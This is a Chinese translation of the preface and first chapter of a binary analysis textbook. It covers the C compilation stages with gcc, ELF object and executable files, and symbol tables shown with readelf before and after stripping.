二进制分析实践指南-全-

二进制分析实践指南(全)

原文:zh.annas-archive.org/md5/97d28715fe300b0cc22bf83de67c9e2e

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

绝大多数计算机程序都是用像 C 或 C++这样的高级语言编写的,而计算机无法直接运行这些语言。在你使用这些程序之前,必须先将它们编译成包含计算机可以运行的机器代码的二进制可执行文件。但是,你如何知道编译后的程序与高级源代码的语义一致呢?令人生畏的答案是:你不知道

高级语言和二进制机器代码之间存在很大的语义差距,而很多人不知道如何弥补这个差距。即便是大多数程序员,对程序在最低层的工作原理也了解有限,他们只是信任编译后的程序符合他们的意图。因此,许多编译器漏洞、微妙的实现错误、二进制级的后门以及恶意寄生虫可能都未被察觉。

更糟糕的是,有无数二进制程序和库——在工业、银行、嵌入式系统中——它们的源代码早已丢失或是专有的。这意味着,使用传统方法无法在源代码层面对这些程序和库进行修补或评估其安全性。即便是大型软件公司,也面临着这样的问题,微软最近发布了一个经过精心手工制作的二进制补丁,用来修复其 Equation Editor 程序中的缓冲区溢出漏洞,而该程序是微软 Office 套件的一部分。^(1)

本书将教你如何在二进制层面分析甚至修改程序。无论你是黑客、安全研究员、恶意软件分析师、程序员,还是单纯的感兴趣者,这些技术都将让你对你每天创建和使用的二进制程序拥有更多的控制权和洞察力。

什么是二进制分析,为什么你需要它?

二进制分析 是分析二进制计算机程序(称为 二进制文件)及其包含的机器代码和数据属性的科学与艺术。简而言之,所有二进制分析的目标都是弄清楚(并可能修改)二进制程序的真实属性——换句话说,弄清楚它们真正做了什么,而不是我们认为它们应该做什么。

很多人将二进制分析与逆向工程和反汇编联系在一起,这至少在某种程度上是正确的。反汇编是许多二进制分析形式中的重要第一步,而逆向工程是二进制分析的常见应用,通常是记录专有软件或恶意软件行为的唯一方法。然而,二进制分析的领域远不止这些。

广义来说,二进制分析技术可以分为两类,或者是这两类的组合:

静态分析 静态分析 技术在不运行二进制文件的情况下对其进行推理。这种方法有几个优点:你可以一次性分析整个二进制文件,并且不需要能够运行该二进制文件的 CPU。例如,你可以在 x86 机器上静态分析一个 ARM 二进制文件。缺点是,静态分析无法了解二进制文件的运行时状态,这可能使得分析变得非常具有挑战性。

动态分析 相比之下,动态分析 运行二进制文件并在执行过程中进行分析。与静态分析相比,这种方法通常更简单,因为你能够全面了解整个运行时状态,包括变量的值和条件分支的结果。然而,你只能看到已执行的代码,因此分析可能会错过程序中的有趣部分。

静态分析和动态分析各有优缺点,在本书中你将学习到来自这两种思维方式的技术。除了被动的二进制分析,你还将学习到二进制插桩技术,这些技术可以在没有源代码的情况下修改二进制程序。二进制插桩依赖于像反汇编这样的分析技术,同时它也可以用于辅助二进制分析。由于二进制分析和插桩技术之间的这种共生关系,本书涵盖了这两者。

我之前提到过,你可以通过二进制分析来为没有源代码的程序进行文档编写或渗透测试。但即使源代码可用,二进制分析仍然可以用来查找一些在二进制级别比源代码级别更明显的微妙 bug。许多二进制分析技术对于高级调试也非常有用。本书涵盖了你可以在所有这些场景中使用的二进制分析技术,甚至更多。

什么让二进制分析变得具有挑战性?

二进制分析具有挑战性,比源代码级别的等效分析要困难得多。事实上,许多二进制分析任务本质上是不可判定的,这意味着不可能为这些问题构建一个始终返回正确结果的分析引擎!为了让你了解可能遇到的挑战,以下是一些让二进制分析变得困难的原因。不幸的是,这个列表远未详尽无遗。

没有符号信息 当我们用像 C 或 C++ 这样的高级语言编写源代码时,我们为变量、函数和类等构造命名。这些命名我们称之为符号信息,简称符号。良好的命名约定使得源代码更易于理解,但它们在二进制级别没有实际意义。因此,二进制文件通常会去除符号信息,这使得理解代码变得更加困难。

没有类型信息 另一个高级程序的特点是它们围绕具有明确定义类型的变量展开,例如intfloatstring,以及更复杂的数据结构,如 struct 类型。相比之下,在二进制层面,类型从不显式声明,这使得数据的用途和结构很难推断。

没有高级抽象 现代程序被划分为类和函数,但编译器会丢弃这些高级构造。这意味着,二进制文件呈现为大量的代码和数据块,而不是结构良好的程序,恢复高级结构既复杂又容易出错。

混合的代码和数据 二进制文件可以(并且确实会)包含与可执行代码混合的数据片段。^(2) 这使得意外地将数据当作代码,或将代码当作数据,变得容易,从而导致错误的结果。

依赖位置的代码和数据 由于二进制文件并非设计用于修改,即使是添加一条机器指令,也可能引发问题,因为它会导致其他代码位置发生变化,从而使内存地址和代码中的其他引用失效。因此,任何类型的代码或数据修改都非常具有挑战性,并且容易破坏二进制文件。

由于这些挑战,在实践中我们往往必须接受不精确的分析结果。二进制分析的重要部分是尽管分析存在误差,我们仍能想出创造性的方法来构建可用的工具!

谁应该阅读这本书?

本书的目标读者包括安全工程师、学术安全研究人员、黑客和渗透测试人员、逆向工程师、恶意软件分析师,以及对二进制分析感兴趣的计算机科学学生。但实际上,我试图让这本书对任何对二进制分析感兴趣的人都能理解。

也就是说,由于本书涵盖了高级主题,因此需要具备一定的编程和计算机系统知识。为了从本书中获得最大收益,你应该具备以下内容:

• 对 C 和 C++ 编程语言有一定的掌握。

• 对操作系统内部原理有基本的了解(例如进程是什么,虚拟内存是什么,等等)。

• 需要了解如何使用 Linux shell(最好是bash)。

• 熟悉 x86/x86-64 汇编语言。如果你还不懂任何汇编语言,确保先阅读附录 A!

如果你以前从未编程过,或者不喜欢深入探讨计算机系统的底层细节,那么这本书可能不适合你。

本书内容

本书的主要目标是让你成为一名全面的二进制分析师,熟悉该领域的所有主要主题,包括基础主题和像二进制仪器化、污点分析、符号执行等高级主题。本书并不假设自己是一本全面的资源,因为二进制分析领域和工具发展迅速,一本全面的书籍可能在一年内就会过时。相反,目标是让你在所有重要主题上足够有知识,以便为进一步的独立学习做好准备。

同样,本书并没有深入探讨逆向工程 x86 和 x86-64 代码的所有细节(尽管附录 A 涵盖了基础知识),也没有涉及在这些平台上分析恶意软件。已经有许多专门的书籍讲解这些内容,重复它们在此并无意义。关于手动逆向工程和恶意软件分析的书籍,请参考附录 D。

本书分为四个部分。

第一部分:二进制格式 介绍了二进制格式,这是理解本书其余部分的关键。如果你已经熟悉 ELF 和 PE 二进制格式以及libbfd,可以安全地跳过这一部分的一个或多个章节。

第一章:二进制程序的结构 提供了二进制程序结构的一般介绍。

第二章:ELF 格式 介绍了 Linux 上使用的 ELF 二进制格式。

第三章:PE 格式简要介绍 介绍了 PE 格式,这是 Windows 上使用的二进制格式。

第四章:使用 libbfd 构建二进制加载器 介绍了如何使用libbfd解析二进制文件,并构建本书后续章节使用的二进制加载器。

第二部分:二进制分析基础 包含了基础的二进制分析技术。

第五章:Linux 中的基础二进制分析 介绍了 Linux 下的基础二进制分析工具。

第六章:反汇编与二进制分析基础 涵盖了基本的反汇编技术和基本分析模式。

第七章:ELF 的简单代码注入技术 让你初步了解如何使用寄生代码注入和十六进制编辑等技术修改 ELF 二进制文件。

第三部分:高级二进制分析 主要讲解高级二进制分析技术。

第八章:自定义反汇编 介绍了如何使用 Capstone 构建自定义反汇编工具。

第九章:二进制仪器化 介绍了如何使用 Pin,一个完整的二进制仪器化平台,来修改二进制文件。

第十章:动态污点分析原理 向你介绍了动态污点分析的原理,这是一种最先进的二进制分析技术,能够跟踪程序中的数据流。

第十一章:使用 libdft 进行实用动态污点分析 教你如何使用libdft构建自己的动态污点分析工具。

第十二章:符号执行原理 专门讲解符号执行,这是一种先进技术,可以帮助你自动推理复杂的程序属性。

第十三章:使用 Triton 进行实用符号执行 向你展示如何使用 Triton 构建实用的符号执行工具。

第四部分:附录 包含一些你可能会发现有用的资源。

附录 A:x86 汇编语言速成课程 为尚未熟悉 x86 汇编语言的读者提供了简短的入门介绍。

附录 B:使用 libelf 实现 PT_NOTE 覆盖 提供了elfinject工具的实现细节,该工具在第七章中使用,并作为libelf的入门介绍。

附录 C:二进制分析工具列表 包含你可以使用的二进制分析工具列表。

附录 D:进一步阅读 包含与本书讨论的主题相关的参考文献、文章和书籍列表。

如何使用本书

为了帮助你最大限度地利用本书,让我们简要回顾一下关于代码示例、汇编语法和开发平台的约定。

指令集架构

尽管你可以将本书中的许多技术推广到其他架构,但我将把实际示例集中在 Intel x86 指令集架构(ISA)及其 64 位版本 x86-64(简称 x64)上。我将把 x86 和 x64 ISA 统称为“x86 ISA”。通常,示例将处理 x64 代码,除非另有说明。

x86 ISA 很有趣,因为它在消费市场中非常常见,尤其是在桌面和笔记本电脑中,并且在二进制分析研究中也有广泛应用(部分原因是它在终端用户机器中的普及)。因此,许多二进制分析框架都是针对 x86 的。

此外,x86 指令集架构的复杂性使你能够学习一些在简化架构上不会出现的二进制分析挑战。x86 架构有着长久的向后兼容历史(可以追溯到 1978 年),这导致了一个非常密集的指令集,大多数可能的字节值都表示一个有效的操作码。这加剧了代码与数据的问题,使得反汇编器不易察觉到他们误将数据解析为代码。此外,指令集是可变长度的,并且允许所有有效字长进行未对齐的内存访问。因此,x86 允许一些独特的复杂二进制结构,如(部分)重叠和未对齐的指令。换句话说,一旦你学会了处理像 x86 这样复杂的指令集,其他指令集(如 ARM)将会变得很自然!

汇编语法

如附录 A 所述,有两种常用的语法格式用于表示 x86 机器指令:Intel 语法AT&T 语法。在这里,我将使用 Intel 语法,因为它更简洁。在 Intel 语法中,将常数移动到edi寄存器的写法如下:

mov     edi,0x6

请注意,目标操作数(edi)排在前面。如果你不确定 AT&T 和 Intel 语法之间的区别,请参考附录 A,其中概述了每种风格的主要特征。

二进制格式与开发平台

我开发了本书中所有的代码示例,均在 Ubuntu Linux 上完成,除了少数几个用 Python 编写的示例。之所以这么做,是因为许多流行的二进制分析库主要针对 Linux 平台,且它们提供了方便的 C/C++或 Python API。不过,本书中使用的所有技术以及大多数库和工具同样适用于 Windows,因此如果 Windows 是你的首选平台,你应该不会在将所学知识转移到 Windows 上时遇到困难。在二进制格式方面,本书主要关注 ELF 二进制文件,这是 Linux 平台的默认格式,尽管许多工具也支持 Windows PE 二进制文件。

代码示例与虚拟机

本书中的每一章都包含了若干代码示例,并且有一个预配置的虚拟机(VM)与本书一起提供,包含了所有的示例。该虚拟机运行的是流行的 Linux 发行版 Ubuntu 16.04,并安装了所有讨论过的开源二进制分析工具。你可以使用这个虚拟机来实验代码示例,并解决每章末尾的练习题。虚拟机可以在本书的官方网站上找到,网址是practicalbinaryanalysis.comnostarch.com/binaryanalysis/

在书籍的官方网站上,您还会找到一个包含所有示例和练习源代码的存档。如果您不想下载整个虚拟机,可以下载此存档,但请记住,如果您选择不使用虚拟机,一些所需的二进制分析框架需要复杂的设置,您需要自行完成。

要使用虚拟机(VM),您需要虚拟化软件。虚拟机是与 VirtualBox 一起使用的,您可以从www.virtualbox.org/免费下载 VirtualBox。VirtualBox 支持所有流行的操作系统,包括 Windows、Linux 和 macOS。

安装 VirtualBox 后,只需运行它,点击 文件导入虚拟设备 选项,选择您从书籍网站下载的虚拟机。添加后,点击主 VirtualBox 窗口中标有 启动 的绿色箭头来启动虚拟机。虚拟机启动完成后,您可以使用“binary”作为用户名和密码进行登录。然后,使用键盘快捷键 CTRL-ALT-T 打开终端,您就可以开始跟随书中的内容操作了。

在目录 ~/code 中,您会找到每个章节的一个子目录,其中包含该章节的所有代码示例和其他相关文件。例如,您将在 ~/code/chapter1 目录中找到 第一章的所有代码。还有一个名为 ~/code/inc 的目录,包含多个章节中使用的公共代码。我为 C++ 源文件使用 .cc 扩展名,为 C 源文件使用 .c 扩展名,为头文件使用 .h 扩展名,为 Python 脚本使用 .py 扩展名。

要构建给定章节的所有示例程序,只需打开终端,导航到该章节的目录,然后执行 make 命令来构建目录中的所有内容。除了我明确提到其他构建命令的情况,这种方法在所有情况下都适用。

大多数重要的代码示例在其对应的章节中都有详细讨论。如果书中讨论的代码清单在虚拟机上有对应的源文件,其文件名会显示在清单之前,如下所示。

filename.c

int
main(int argc, char *argv[])
{
  return 0;
}

该清单标题表明,您可以在文件 filename.c 中找到清单所示的代码。除非另有说明,您将会在该章节的目录下找到文件,文件名与清单中的一致。您还会遇到没有文件名的清单标题,这意味着这些示例只是书中的示例,没有对应的虚拟机副本。没有虚拟机副本的简短代码清单可能没有标题,例如之前显示的汇编语法示例。

显示 shell 命令及其输出的列表使用 $ 符号来表示命令提示符,并且使用粗体字体来标识包含用户输入的行。这些行是你可以在虚拟机上尝试的命令,而后续未带提示符或未加粗的行则表示命令输出。例如,下面是虚拟机上~/code目录的概览:

$ cd ~/code && ls
chapter1 chapter2   chapter3  chapter4  chapter5  chapter6  chapter7
chapter8 chapter9   chapter10 chapter11 chapter12 chapter13 inc

请注意,我有时会编辑命令输出以提高可读性,因此你在虚拟机上看到的输出可能会略有不同。

练习

在每章的结尾,你会找到一些练习和挑战,帮助巩固你在该章节中学到的技能。部分练习应该比较容易用你在章节中学到的技能解决,而其他一些则可能需要更多的努力和独立的研究。

第一部分

二进制格式

第一章:二进制文件的构成

二进制分析就是分析二进制文件。那么,究竟什么是二进制文件呢?本章将介绍二进制格式的基本构成以及二进制文件的生命周期。阅读本章后,你将为接下来的两章 ELF 和 PE 二进制文件的学习做好准备,ELF 和 PE 是 Linux 和 Windows 系统中最广泛使用的二进制格式。

现代计算机使用二进制数字系统进行计算,该系统将所有数字表示为一串一和零。计算机执行的机器代码被称为二进制代码。每个程序都由一组二进制代码(机器指令)和数据(变量、常量等)组成。为了跟踪系统中所有不同的程序,你需要一种方法来将每个程序的所有代码和数据存储在一个自包含的文件中。因为这些文件包含可执行的二进制程序,所以它们被称为二进制可执行文件,简称二进制文件。分析这些二进制文件是本书的目标。

在深入探讨如 ELF 和 PE 这样的二进制格式之前,我们先来看看从源代码生成可执行二进制文件的高层次概述。之后,我将反汇编一个示例二进制文件,以便让你更清楚地了解二进制文件中包含的代码和数据。你将在这里学到的内容,用于在第二章和第三章中探索 ELF 和 PE 二进制文件,并且你将构建自己的二进制加载器,以解析二进制文件并在第四章中进行分析。

1.1 C 语言编译过程

二进制文件是通过编译生成的,编译是将人类可读的源代码(如 C 或 C++)转换为处理器可以执行的机器代码的过程。^(1) 图 1-1 显示了典型 C 语言编译过程中的各个步骤(C++的编译步骤类似)。编译 C 语言代码涉及四个阶段,其中一个(很不巧的)也叫做编译,与完整的编译过程相同。这些阶段是预处理编译汇编链接。实际上,现代编译器通常会合并这些阶段中的某些或所有阶段,但为了演示目的,我将分别介绍每个阶段。

image

图 1-1:C 语言编译过程

1.1.1 预处理阶段

编译过程从你想要编译的一些源文件开始(如图 1-1 中所示,file-1.cfile-n.c)。虽然可以只有一个源文件,但大型程序通常由多个文件组成。这不仅使项目更容易管理,还加速了编译过程,因为如果某个文件发生更改,你只需要重新编译该文件,而不是所有的代码。

C 源文件包含宏(通过#define表示)和#include指令。你使用#include指令来包含源文件所依赖的头文件(扩展名为.h)。预处理阶段展开源文件中的所有#define#include指令,结果就是纯粹的 C 代码,准备好被编译。

让我们通过一个例子来具体说明。这个例子使用了gcc编译器,它是许多 Linux 发行版(包括安装在虚拟机上的 Ubuntu 操作系统)的默认编译器。其他编译器,如clang或 Visual Studio,的结果也会类似。如在引言中提到的,我将在本书中编译所有代码示例(包括当前示例)为 x86-64 代码,除非另有说明。

假设你想编译一个 C 源文件,如列表 1-1 所示,目的是将无处不在的“Hello, world!”消息打印到屏幕上。

列表 1-1: compilation_example.c

#include <stdio.h>

#define FORMAT_STRING    "%s"
#define MESSAGE          "Hello, world!\n"

int
main(int argc, char *argv[]) {
  printf(FORMAT_STRING, MESSAGE);
  return 0;
}

稍后,你将看到这个文件在编译过程中接下来的变化,但现在我们先来看预处理阶段的输出。默认情况下,gcc会自动执行所有编译阶段,所以你需要明确告诉它在预处理之后停止,并显示中间输出。对于gcc,这可以通过命令gcc -E -P来实现,其中-E告诉gcc在预处理后停止,-P使编译器省略调试信息,以便输出更加简洁。列表 1-2 展示了预处理阶段的输出,已为简洁起见进行编辑。启动虚拟机并跟着操作,查看预处理器的完整输出。

列表 1-2:C 预处理器输出的“Hello, world!”程序

$ gcc -E -P compilation_example.c

typedef long unsigned int size_t;
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;

/* ... */

extern int sys_nerr;
extern const char *const sys_errlist[];
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));

int
main(int argc, char *argv[]) {
  printf(➊"%s", ➋"Hello, world!\n");
  return 0;
}

stdio.h头文件被完整地包含进来,其中的所有类型定义、全局变量和函数原型都被“复制”到源文件中。由于每个#include指令都会发生这种情况,预处理器的输出可能会相当冗长。预处理器还会完全展开你通过#define定义的所有宏。在这个例子中,这意味着printf的两个参数(FORMAT_STRING ➊ 和 MESSAGE ➋)都会被评估并替换为它们所代表的常量字符串。

1.1.2 编译阶段

预处理阶段完成后,源代码就可以进入编译阶段。编译阶段将预处理后的代码翻译成汇编语言。(大多数编译器在此阶段还会进行大量优化,通常可以通过命令行选项如-O0-O3gcc中配置为优化级别。正如你在第六章中看到的,编译过程中的优化程度对反汇编有着深远的影响。)

为什么编译阶段会生成汇编语言而不是机器代码?这个设计决策在单一语言的上下文中似乎没有意义(以 C 语言为例),但当你考虑到其他所有语言时,它是合理的。一些流行的编译语言包括 C、C++、Objective-C、Common Lisp、Delphi、Go 和 Haskell,仅举几例。为每种语言编写一个直接生成机器代码的编译器将是一个极为繁重且耗时的任务。与其这样,不如生成汇编代码(这已经是一个足够具挑战性的任务),然后有一个专门的汇编器来处理每种语言的汇编到机器代码的最终转换。

所以,编译阶段的输出是汇编语言,形式相对人类可读,符号信息保持完整。如前所述,gcc 通常会自动调用所有编译阶段,因此,要查看编译阶段生成的汇编代码,你需要告诉gcc在此阶段停止并将汇编文件存储到磁盘。你可以通过使用-S标志来实现(.s 是汇编文件的常规扩展名)。你还需要传递选项-masm=intelgcc,这样它会以 Intel 语法而不是默认的 AT&T 语法生成汇编代码。列表 1-3 展示了编译阶段为示例程序生成的输出。^(2)

列表 1-3:编译阶段为“Hello, world!”程序生成的汇编代码

  $ gcc -S -masm=intel compilation_example.c
  $ cat compilation_example.s

          .file    "compilation_example.c"
          .intel_syntax noprefix
          .section       .rodata
➊ .LC0:
          .string        "Hello, world!"
          .text
          .globl  main
          .type   main, @function
➋ main:
  .LFB0:
          .cfi_startproc
          push    rbp
          .cfi_def_cfa_offset 16
          .cfi_offset 6, -16
          mov     rbp, rsp
          .cfi_def_cfa_register 6
          sub      rsp, 16
          mov     DWORD PTR [rbp-4], edi
          mov     QWORD PTR [rbp-16], rsi
          mov     edi, ➌OFFSET FLAT:.LC0
          call    puts
          mov     eax, 0
          leave
          .cfi_def_cfa 7, 8
          ret
          .cfi_endproc
.LFE0:
          .size    main, .-main
          .ident   "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609"
          .section .note.GNU-stack,"",@progbits

目前,我不会深入讨论汇编代码。在列表 1-3 中值得注意的是,汇编代码相对容易阅读,因为符号和函数被保留了。例如,常量和变量有符号名称,而不仅仅是地址(即使它只是一个自动生成的名称,如“Hello, world!”字符串的LC0 ➊),并且有一个明确的标签标记main函数 ➋(在这个例子中是唯一的函数)。任何对代码和数据的引用也是符号化的,比如对“Hello, world!”字符串的引用 ➌。在本书后面处理剥离的二进制文件时,你就无法享受到这样的便利了!

1.1.3 汇编阶段

在汇编阶段,你终于可以生成一些真正的机器代码了!汇编阶段的输入是编译阶段生成的一组汇编语言文件,输出是一组目标文件,有时也称为模块。目标文件包含的机器指令原则上是可以由处理器执行的。但正如我接下来会解释的,你还需要做一些工作才能得到一个可以运行的二进制可执行文件。通常,每个源文件对应一个汇编文件,每个汇编文件对应一个目标文件。要生成目标文件,你需要给gcc传递-c标志,如列表 1-4 所示。

列表 1-4:使用 *gcc* 生成目标文件

$ gcc -c compilation_example.c
$ file compilation_example.o
compilation_example.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

你可以使用file工具(这是一个非常方便的工具,我将在第五章中再次提到)来确认生成的文件,compilation_example.o,确实是一个目标文件。正如你在清单 1-4 中看到的那样,情况确实如此:该文件显示为ELF 64-bit LSB 可重定位文件。

这到底意味着什么呢?file输出的第一部分显示该文件符合二进制可执行文件的 ELF 规范(我将在第二章中详细讨论)。更具体地说,它是一个 64 位 ELF 文件(因为你在这个示例中为 x86-64 进行编译),并且它是LSB,意味着数字在内存中的顺序是以最不重要的字节为先。但最重要的是,你可以看到该文件是可重定位的

可重定位文件不依赖于被放置在内存中的特定地址;相反,它们可以随意移动而不破坏代码中的任何假设。当你在file输出中看到可重定位这个术语时,你就知道你正在处理的是目标文件,而不是可执行文件。^(3)

目标文件是相互独立编译的,因此在汇编目标文件时,汇编器无法知道其他目标文件的内存地址。这就是为什么目标文件需要是可重定位的;这样,你可以将它们以任何顺序链接在一起,形成一个完整的二进制可执行文件。如果目标文件不可重定位,这将无法实现。

当你准备好第一次拆解文件时,稍后在本章中你将看到目标文件的内容。

1.1.4 链接阶段

链接阶段是编译过程的最后阶段。顾名思义,这一阶段将所有目标文件链接成一个单一的二进制可执行文件。在现代系统中,链接阶段有时会加入一个额外的优化过程,称为链接时优化(LTO)。^(4)

不出所料,执行链接阶段的程序被称为链接器,或链接编辑器。它通常与编译器分开,编译器通常实现所有之前的阶段。

如我之前提到的,目标文件是可重定位的,因为它们是独立编译的,防止了编译器假设某个目标会位于特定的基地址。此外,目标文件可能引用其他目标文件或程序外部库中的函数或变量。在链接阶段之前,引用的代码和数据将被放置的地址尚未确定,因此目标文件只包含重定位符号,这些符号指定了函数和变量引用应如何最终解析。在链接的上下文中,依赖于重定位符号的引用称为符号引用。当目标文件通过绝对地址引用其自身的函数或变量时,该引用也将是符号引用。

链接器的工作是将属于一个程序的所有目标文件合并为一个单一的连贯可执行文件,通常是打算加载到特定内存地址的。现在,所有模块在可执行文件中的安排已知,链接器还可以解决大多数符号引用。对于库的引用,可能完全解决,也可能没有完全解决,这取决于库的类型。

静态库(在 Linux 上通常扩展名为 .a,如图 1-1 所示)被合并到二进制可执行文件中,这样对它们的所有引用都可以完全解决。还有动态(共享)库,它们在内存中由所有在系统上运行的程序共享。换句话说,动态库不会被复制到每个使用它的二进制文件中,而是只加载一次到内存中,任何想要使用该库的二进制文件都需要使用这个共享副本。在链接阶段,动态库将驻留的地址尚未确定,因此无法解决对它们的引用。相反,链接器会在最终可执行文件中保留这些库的符号引用,这些引用直到二进制文件实际加载到内存并执行时才会被解决。

大多数编译器,包括 gcc,在编译过程结束时会自动调用链接器。因此,要生成一个完整的二进制可执行文件,你可以直接调用 gcc 而无需任何特殊选项,如示例 1-5 所示。

示例 1-5: 使用 *gcc* 生成二进制可执行文件

$ gcc compilation_example.c
$ file a.out
a.out: ➊ELF 64-bit LSB executable, x86-64, version 1 (SYSV), ➋dynamically
linked, ➌interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=d0e23ea731bce9de65619cadd58b14ecd8c015c7, ➍not stripped
$ ./a.out
Hello, world!

默认情况下,可执行文件名为 a.out,但是你可以通过向 gcc 传递 -o 参数并指定输出文件的名称来覆盖该名称。file 工具现在告诉你,你正在处理的是一个 ELF 64-bit LSB 可执行文件 ➊,而不是在汇编阶段末尾看到的可重定位文件。其他重要信息是文件是动态链接的 ➋,这意味着它使用一些未合并到可执行文件中的库,而是与所有在同一系统上运行的程序共享。最后,file 输出中的 interpreter /lib64/ld-linux-x86-64.so.2 ➌ 告诉你,当可执行文件加载到内存并执行时,将使用哪个 动态链接器 来解析对动态库的最终依赖关系。当你运行这个二进制文件(使用命令 ./a.out)时,可以看到它产生了预期的输出(将“Hello, world!”打印到标准输出),这确认你已经生成了一个有效的二进制文件。

那么,这个二进制文件没有被“去除符号” ➍ 是什么意思呢?我接下来会讨论这个问题!

1.2 符号与去除符号的二进制文件

高级源代码,如 C 代码,围绕着具有有意义、可读名称的函数和变量展开。当编译一个程序时,编译器会生成符号,这些符号用于追踪这些符号名称,并记录每个符号对应的二进制代码和数据。例如,函数符号提供了从符号化的高级函数名称到每个函数的起始地址和大小的映射。这些信息通常由链接器在合并目标文件时使用(例如,解决模块间的函数和变量引用),并且对调试也有帮助。

1.2.1 查看符号信息

为了让你了解符号信息的样子,列表 1-6 展示了示例二进制文件中的一些符号。

列表 1-6:*a.out* 二进制文件中的符号,如通过*readelf*所示

$ ➊readelf --syms a.out

Symbol table '.dynsym' contains 4 entries:
  Num:    Value          Size Type    Bind   Vis      Ndx Name
    0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
    1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
    2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    3: 0000000000000000     0 NOTYPE WEAK    DEFAULT  UND __gmon_start__
Symbol table '.symtab' contains 67 entries:
  Num:    Value          Size Type    Bind   Vis      Ndx Name
   ...
   56: 0000000000601030     0 OBJECT  GLOBAL HIDDEN    25 __dso_handle
   57: 00000000004005d0     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
   58: 0000000000400550   101 FUNC    GLOBAL DEFAULT   14 __libc_csu_init
   59: 0000000000601040     0 NOTYPE  GLOBAL DEFAULT   26 _end
   60: 0000000000400430    42 FUNC    GLOBAL DEFAULT   14 _start
   61: 0000000000601038     0 NOTYPE  GLOBAL DEFAULT   26 __bss_start
   62: 0000000000400526    32 FUNC    GLOBAL DEFAULT   14 ➋main
   63: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
   64: 0000000000601038     0 OBJECT  GLOBAL HIDDEN    25 __TMC_END__
   65: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
   66: 00000000004003c8     0 FUNC    GLOBAL DEFAULT   11 _init

在列表 1-6 中,我使用readelf来显示符号➊。你将会继续使用readelf工具,并解释其所有输出内容,具体内容在第五章中讨论。现在,你只需要注意,在许多不熟悉的符号中,存在一个main函数的符号➋。你可以看到它指定了main在二进制加载到内存时所驻留的地址(0x400526)。输出还显示了main的代码大小(32 字节),并且表明它是一个函数符号(类型为FUNC)。

符号信息可以作为二进制文件的一部分(如你刚刚看到的那样)或以单独的符号文件形式存在,并且有多种不同的格式。链接器只需要基本符号,但为了调试的目的,可能会生成更多的扩展信息。调试符号提供了源代码行和二进制指令之间的完整映射,甚至描述了函数参数、栈帧信息等。对于 ELF 二进制文件,调试符号通常以 DWARF 格式生成^(5),而 PE 二进制文件通常使用专有的 Microsoft Portable Debugging (PDB) 格式^(6)。DWARF 信息通常嵌入在二进制文件中,而 PDB 以单独的符号文件形式存在。

如你所料,符号信息对于二进制分析非常有用。仅举一个例子,拥有一套明确定义的函数符号可以大大简化反汇编过程,因为你可以将每个函数符号作为反汇编的起点。这使得你不太可能错误地将数据当作代码反汇编(这将导致反汇编输出中出现虚假的指令)。知道二进制文件中哪些部分属于哪个函数,以及函数的名称,也能帮助逆向工程师更容易地对代码进行分块,从而理解代码的功能。即使是基本的链接器符号(与更详细的调试信息相比)在许多二进制分析应用中也已足够有用。

如上所述,你可以使用readelf来解析符号,或者像libbfd这样的库进行编程解析,后者我将在 Chapter 4 中解释。此外,还有专门用于解析 DWARF 调试符号的库,如libdwarf,但在本书中我不会涉及这些。

不幸的是,生产环境中的二进制文件通常不包含大量的调试信息,甚至基本的符号信息也经常会被去除,以减少文件大小并防止逆向工程,特别是在恶意软件或专有软件的情况下。这意味着,作为二进制分析师,你通常需要处理没有任何符号信息的被去除符号的二进制文件的更具挑战性的情况。因此,在本书中,我假设尽可能少的符号信息,并专注于去除符号的二进制文件,除非另有说明。

1.2.2 另一个二进制文件走向黑暗面:去除二进制文件的符号信息

你可能记得,示例二进制文件还没有被去除符号信息(如 Listing 1-5 中的file工具输出所示)。显然,gcc的默认行为是不会自动去除新编译二进制文件的符号。如果你在想如何去除带符号的二进制文件,操作其实很简单,只需使用一个名为strip的命令,如 Listing 1-7 所示。

Listing 1-7: 去除可执行文件的符号信息

  $ ➊strip --strip-all a.out
  $ file a.out
  a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
  linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
  BuildID[sha1]=d0e23ea731bce9de65619cadd58b14ecd8c015c7, ➋stripped
  $ readelf --syms a.out

➌ Symbol table '.dynsym' contains 4 entries:
     Num:    Value          Size Type    Bind   Vis     Ndx Name
       0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT UND
       1: 0000000000000000     0 FUNC    GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
       2: 0000000000000000     0 FUNC    GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
       3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT UND __gmon_start__

就这样,示例二进制文件已经被去除符号信息 ➊,如file输出 ➋所确认。只有少数符号保留在.dynsym符号表中 ➌。这些符号用于在二进制文件加载到内存时解析动态依赖(例如动态库的引用),但在反汇编时作用不大。所有其他符号,包括在 Listing 1-6 中看到的main函数符号,已经消失。

1.3 反汇编二进制文件

